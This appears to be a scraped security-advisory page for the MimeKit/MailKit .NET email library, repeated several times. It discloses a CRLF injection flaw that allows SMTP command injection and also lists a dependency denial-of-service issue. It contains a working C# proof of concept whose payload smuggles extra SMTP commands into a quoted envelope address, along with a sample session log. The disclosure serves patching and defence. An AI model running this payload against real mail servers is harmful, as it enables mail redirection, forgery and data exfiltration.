// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Mar 04, 2023

3.5.0 minor

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Jan 28, 2023

3.4.3 patch

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


